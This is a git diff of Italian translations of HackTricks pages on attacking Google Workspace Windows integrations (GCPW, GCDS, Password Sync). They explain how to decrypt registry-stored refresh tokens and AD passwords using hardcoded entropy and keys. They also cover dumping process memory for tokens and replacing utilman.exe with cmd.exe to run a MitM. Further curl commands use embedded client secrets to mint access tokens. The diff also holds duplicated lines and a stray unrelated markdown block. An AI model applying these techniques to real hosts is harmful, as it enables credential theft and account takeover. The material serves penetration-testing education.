Nota come il **refresh** **token** e la **password** dell'utente siano **criptati** utilizzando **AES CBC** con una chiave e un IV generati casualmente memorizzati in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (dove la libreria **`prefs`** di Java memorizza le preferenze) nelle chiavi di stringa **`/Encryption/Policy/V2.iv`** e **`/Encryption/Policy/V2.key`** memorizzate in base64.
Nota come il **refresh** **token** e la **password** dell'utente siano **criptati** utilizzando **AES CBC** con una chiave e un IV generati casualmente memorizzati in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (dove la libreria Java **`prefs`** memorizza le preferenze) nelle chiavi di stringa **`/Encryption/Policy/V2.iv`** e **`/Encryption/Policy/V2.key`** memorizzate in base64.
<details>
@@ -150,13 +150,13 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Nota che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi).
> Tieni presente che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi).
Invece di utilizzare lo script powershell, è anche possibile utilizzare il binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con il parametro `-exportKeys` e ottenere la **Key** e **IV** dal registro in esadecimale e poi utilizzare qualche cyberchef con AES/CBC e quella chiave e IV per decrittografare le informazioni.
Invece di utilizzare lo script powershell, è anche possibile utilizzare il binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con il parametro `-exportKeys` e ottenere la **Key** e **IV** dal registro in esadecimale e poi utilizzare CyberChef con AES/CBC e quella chiave e IV per decrittografare le informazioni.
### GCDS - Dumping tokens from memory
Proprio come con GCPW, è possibile estrarre la memoria del processo del `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare token di refresh e di accesso (se sono già stati generati).\
Proprio come con GCPW, è possibile estrarre la memoria del processo del `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare i token di refresh e accesso (se sono già stati generati).\
Immagino che tu possa anche trovare le credenziali configurate di AD.
<details>
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
### GCDS - Generazione di token di accesso dai token di aggiornamento
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -248,11 +248,11 @@ https://www.googleapis.com/oauth2/v4/token
### GCDS - Scopes
> [!NOTE]
> Tieni presente che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scopes supportati dall'applicazione in cui stai generando il token di accesso**.
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**.
>
> Inoltre, il refresh token non è valido in ogni applicazione.
Per impostazione predefinita, GCSD non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
Per impostazione predefinita, GCSD non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
<details>

View File

@@ -4,14 +4,14 @@
## Informazioni di base
Questo è il single sign-on che Google Workspaces fornisce affinché gli utenti possano accedere ai propri PC Windows utilizzando **le proprie credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC.
Questo è il single sign-on fornito da Google Workspaces affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC.
> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCPW**, ottenere informazioni sulla configurazione e **anche token**.
### GCPW - MitM
Quando un utente accede a un PC Windows sincronizzato con Google Workspace tramite GCPW, dovrà completare un comune modulo di accesso. Questo modulo di accesso restituirà un codice OAuth che il PC scambierà per il token di aggiornamento in una richiesta come:
Quando un utente accede a un PC Windows sincronizzato con Google Workspace tramite GCPW, dovrà completare un modulo di accesso comune. Questo modulo di accesso restituirà un codice OAuth che il PC scambierà per il token di aggiornamento in una richiesta come:
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
@@ -27,17 +27,19 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Nuove righe sono state aggiunte per renderlo più leggibile.
> [!NOTE]
> È stato possibile eseguire un MitM installando `Proxifier` nel PC, sovrascrivendo il binario `utilman.exe` con un `cmd.exe` ed eseguendo le **funzionalità di accessibilità** nella pagina di accesso di Windows, che eseguirà un **CMD** da cui puoi **lanciare e configurare il Proxifier**.\
> Non dimenticare di **bloccare il traffico QUICK UDP** in `Proxifier` in modo che venga degradato a comunicazione TCP e tu possa vederlo.
>
> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato CA di Burp in Windows.
> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato Burp CA in Windows.
Inoltre, aggiungendo le chiavi `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** è possibile farlo memorizzare alcuni log.
### GCPW - Impronta
### GCPW - Fingerprint
È possibile verificare se GCPW è installato in un dispositivo controllando se esiste il seguente processo o se esistono le seguenti chiavi di registro:
È possibile verificare se GCPW è installato in un dispositivo controllando se il seguente processo esiste o se le seguenti chiavi di registro esistono:
```powershell
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
@@ -64,7 +66,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
```
In **`HKCU:\SOFTWARE\Google\Accounts`** è possibile accedere all'email dell'utente e al **refresh token** crittografato se l'utente ha effettuato di recente l'accesso.
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, gestore del token...
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, gestore dei token...
> [!NOTE]
> Il gestore del token è un token che inizia con `eth.` e dal quale è possibile estrarre alcune informazioni con una richiesta come:
@@ -96,9 +98,9 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che
> }
> ```
>
> A quanto ne so, non è possibile ottenere un refresh token o access token dal gestore del token.
> A quanto ne so, non è possibile ottenere un refresh token o un access token dal gestore del token.
Inoltre, il file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** è un json contenente le informazioni di diverse **impostazioni** come `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (se più utenti di Workspace possono accedere al computer) e `validityPeriodDays` (numero di giorni in cui un utente non deve ri-autenticarsi direttamente con Google).
Inoltre, il file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** è un json che contiene le informazioni di diverse **impostazioni** come `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (se più utenti di Workspace possono accedere al computer) e `validityPeriodDays` (numero di giorni in cui un utente non deve ri-autenticarsi direttamente con Google).
## GCPW - Ottieni Token
@@ -159,39 +161,20 @@ Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
# Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
```markdown
<details>
<summary>Introduzione</summary>
Il Google Credential Provider for Windows (GCPW) è uno strumento che consente agli utenti di accedere a Windows utilizzando le credenziali di Google. Questo strumento è particolarmente utile per le organizzazioni che utilizzano Google Workspace e desiderano semplificare l'accesso degli utenti ai loro dispositivi Windows.
## Vantaggi di GCPW
- **Integrazione con Google Workspace**: GCPW si integra perfettamente con Google Workspace, consentendo agli utenti di utilizzare le stesse credenziali per accedere a Windows e ai servizi Google.
- **Sicurezza**: GCPW supporta l'autenticazione a due fattori, aumentando la sicurezza degli accessi.
- **Gestione centralizzata**: Gli amministratori possono gestire le impostazioni di GCPW tramite la Console di amministrazione di Google.
## Configurazione di GCPW
Per configurare GCPW, è necessario seguire alcuni passaggi chiave:
1. **Installazione**: Scaricare e installare il GCPW sul dispositivo Windows.
2. **Configurazione**: Configurare le impostazioni di GCPW nella Console di amministrazione di Google.
3. **Test**: Eseguire test per garantire che gli utenti possano accedere correttamente utilizzando le loro credenziali Google.
## Considerazioni finali
GCPW rappresenta una soluzione efficace per le organizzazioni che desiderano migliorare la sicurezza e semplificare l'accesso degli utenti ai dispositivi Windows. Tuttavia, è importante considerare le implicazioni di sicurezza e privacy quando si implementa questa tecnologia.
</details>
```
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**.
Come spiegato in [**questo video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), se non trovi il token nel registro, è possibile modificare il valore (o eliminarlo) da **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** e la prossima volta che l'utente accede al computer dovrà effettuare nuovamente il login e il **token sarà memorizzato nel registro precedente**.
### GCPW - Token di aggiornamento del disco
Il file **`%LocalAppData%\Google\Chrome\User Data\Local State`** memorizza la chiave per decrittografare i **`refresh_tokens`** situati all'interno dei **profili di Google Chrome** dell'utente come:
Il file **`%LocalAppData%\Google\Chrome\User Data\Local State`** memorizza la chiave per decrittare i **`refresh_tokens`** situati all'interno dei **profili di Google Chrome** dell'utente come:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
È possibile trovare del **codice C#** che accede a questi token nella loro forma decrittografata in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
È possibile trovare del **codice C#** che accede a questi token nella loro forma decrittata in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Inoltre, la crittografia può essere trovata in questo codice: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
@@ -199,7 +182,7 @@ Si può osservare che viene utilizzato AESGCM, il token crittografato inizia con
### GCPW - Dumping dei token dalla memoria dei processi
Il seguente script può essere utilizzato per **dump** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**
Lo script seguente può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**
<details>
@@ -318,7 +301,7 @@ echo "Error: Token invalid or too short"
### GCPW - Generazione di token di accesso dai token di aggiornamento
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
@@ -604,7 +587,7 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
Alcuni esempi utilizzando alcuni di quegli ambiti:
Alcuni esempi utilizzando alcuni di quei scope:
<details>
@@ -779,7 +762,7 @@ curl -X POST \
**Google Workspace Vault** è un componente aggiuntivo per Google Workspace che fornisce strumenti per la conservazione dei dati, la ricerca e l'esportazione dei dati della tua organizzazione memorizzati nei servizi di Google Workspace come Gmail, Drive, Chat e altro.
- Un **Matter** in Google Workspace Vault è un **contenitore** che organizza e raggruppa tutte le informazioni relative a un caso specifico, un'indagine o una questione legale. Funziona come il centro principale per gestire **Holds**, **Searches** e **Exports** relativi a quella particolare questione.
- Un **Matter** in Google Workspace Vault è un **contenitore** che organizza e raggruppa tutte le informazioni relative a un caso specifico, un'indagine o una questione legale. Funziona come il centro principale per gestire **Holds**, **Searches** ed **Exports** relativi a quella particolare questione.
- Un **Hold** in Google Workspace Vault è un'**azione di conservazione** applicata a utenti o gruppi specifici per **prevenire la cancellazione o la modifica** dei loro dati all'interno dei servizi di Google Workspace. I Holds garantiscono che le informazioni pertinenti rimangano intatte e non modificate per la durata di un caso legale o di un'indagine.
```bash
# List matters
@@ -822,7 +805,7 @@ Poi cerca il segreto come `Chrome-GCPW-<sid>` come nell'immagine:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
Poi, con un **access token** con il scope `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password:
Poi, con un **access token** con l'ambito `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password:
<details>

View File

@@ -15,12 +15,12 @@ Per configurare questo binario (e servizio), è necessario **dargli accesso a un
- Accedi tramite **OAuth** con Google e poi **salverà un token nel registro (crittografato)**
- Disponibile solo nei Domain Controller con GUI
- Fornendo alcune **credenziali di Service Account da GCP** (file json) con permessi per **gestire gli utenti di Workspace**
- Molto cattiva idea poiché quelle credenziali non scadono mai e potrebbero essere abusate
- Molto cattiva idea poiché queste credenziali non scadono mai e potrebbero essere abusate
- Molto cattiva idea dare accesso a un SA su Workspace poiché il SA potrebbe essere compromesso in GCP e sarà possibile pivotare su Workspace
- Google lo richiede per i domini controllati senza GUI
- Queste credenziali sono anche memorizzate nel registro
Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuale, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**.
Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuali, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**.
### GPS - Dumping password e token dal disco
@@ -29,9 +29,9 @@ Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto dell
Nel file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** è possibile trovare parte della configurazione come il **`baseDN`** dell'AD configurato e il **`username`** le cui credenziali vengono utilizzate.
Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovarle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**.
Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovare quelle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**.
La **password** crittografata (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
La **password crittografata** (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Il token crittografato (se presente) si trova all'interno della chiave **`AuthToken`** ed è crittografato utilizzando l'API **`CryptProtectData`**. Per decrittografarlo, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Inoltre, è anche codificato utilizzando base32hex con il dizionario **`0123456789abcdefghijklmnopqrstv`**.
@@ -40,14 +40,14 @@ I valori di entropia sono stati trovati utilizzando lo strumento. È stato confi
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
Nota che è anche possibile vedere i valori **decrittografati** negli input o output delle chiamate a queste API (nel caso in cui a un certo punto Winpeas smetta di funzionare).
Nota che è anche possibile vedere i valori **decrittografati** nell'input o output delle chiamate a queste API anche (nel caso in cui a un certo punto Winpeas smetta di funzionare).
Nel caso in cui la sincronizzazione della password fosse **configurata con credenziali SA**, sarà anche memorizzata in chiavi all'interno del registro **`HKLM\Software\Google\Google Apps Password Sync`**.
### GPS - Dumping token dalla memoria
Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access token (se sono già stati generati).\
Immagino che tu possa anche trovare le credenziali configurate per l'AD.
Immagino che tu possa anche trovare le credenziali AD configurate.
<details>
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Generazione di token di accesso dai token di aggiornamento
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**.
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scopes supportati dall'applicazione in cui stai generando il token di accesso**.
>
> Inoltre, il refresh token non è valido in ogni applicazione.
Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
<details>

View File

@@ -1,17 +1,17 @@
# GWS - Sincronizzazione della Directory Amministrativa
# GWS - Admin Directory Sync
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
La principale differenza tra questo modo di sincronizzare gli utenti con GCDS è che GCDS viene eseguito manualmente con alcuni binari che devi scaricare ed eseguire, mentre **la Sincronizzazione della Directory Amministrativa è serverless** gestita da Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
La principale differenza tra questo modo di sincronizzare gli utenti con GCDS è che GCDS viene eseguito manualmente con alcuni binari che devi scaricare ed eseguire, mentre **Admin Directory Sync è serverless** gestito da Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Al momento della scrittura, questo servizio è in beta e supporta 2 tipi di sincronizzazione: Da **Active Directory** e da **Azure Entra ID:**
- **Active Directory:** Per configurarlo, devi dare **accesso a Google al tuo ambiente Active Directory**. E poiché Google ha accesso solo alle reti GCP (tramite **VPC connectors**), devi creare un connettore e poi rendere il tuo AD disponibile da quel connettore avendolo in VM nella rete GCP o utilizzando Cloud VPN o Cloud Interconnect. Inoltre, devi fornire **credenziali** di un account con accesso in lettura sulla directory e un **certificato** per contattare tramite **LDAPS**.
- **Azure Entra ID:** Per configurarlo, è necessario **accedere ad Azure con un utente con accesso in lettura** sulla sottoscrizione Entra ID in un pop-up mostrato da Google, e Google manterrà il token con accesso in lettura su Entra ID.
- **Azure Entra ID:** Per configurarlo è necessario **accedere ad Azure con un utente con accesso in lettura** sulla sottoscrizione Entra ID in un pop-up mostrato da Google, e Google manterrà il token con accesso in lettura su Entra ID.
Una volta configurato correttamente, entrambe le opzioni consentiranno di **sincronizzare utenti e gruppi in Workspace**, ma non permetteranno di configurare utenti e gruppi da Workspace a AD o EntraID.
Una volta configurate correttamente, entrambe le opzioni consentiranno di **sincronizzare utenti e gruppi in Workspace**, ma non permetteranno di configurare utenti e gruppi da Workspace a AD o EntraID.
Altre opzioni che saranno consentite durante questa sincronizzazione sono:
@@ -36,7 +36,7 @@ Una volta che accedi all'utente all'interno di Workspace, potrebbero essere conc
#### Attaccare i Gruppi
Devi anche capire prima quali gruppi vengono sincronizzati. Anche se c'è la possibilità che **TUTTI** i gruppi vengano sincronizzati (poiché Workspace lo consente).
Devi anche prima capire quali gruppi vengono sincronizzati. Anche se c'è la possibilità che **TUTTI** i gruppi vengano sincronizzati (poiché Workspace lo consente).
> [!NOTE]
> Nota che anche se i gruppi e le appartenenze vengono importati in Workspace, gli **utenti che non sono sincronizzati nella sincronizzazione degli utenti non verranno creati** durante la sincronizzazione dei gruppi anche se sono membri di uno dei gruppi sincronizzati.
@@ -50,7 +50,7 @@ Se la sincronizzazione da, ad esempio, EntraID, a Workspace è **configurata per
### Da Google Workspace -> AD/EntraID
Nota che Workspace richiede credenziali con accesso in sola lettura su AD o EntraID per sincronizzare utenti e gruppi. Pertanto, non è possibile abusare di Google Workspace per apportare modifiche a AD o EntraID. Quindi **questo non è possibile** in questo momento.
Nota che Workspace richiede credenziali con accesso in sola lettura su AD o EntraID per sincronizzare utenti e gruppi. Pertanto, non è possibile abusare di Google Workspace per apportare modifiche a AD o EntraID. Quindi **questo non è possibile** al momento.
Non so nemmeno dove Google memorizzi le credenziali AD o il token EntraID e non **puoi recuperarli riconfigurando la sincronizzazione** (non appaiono nel modulo web, devi fornirli di nuovo). Tuttavia, dal web potrebbe essere possibile abusare della funzionalità attuale per **elencare utenti e gruppi**.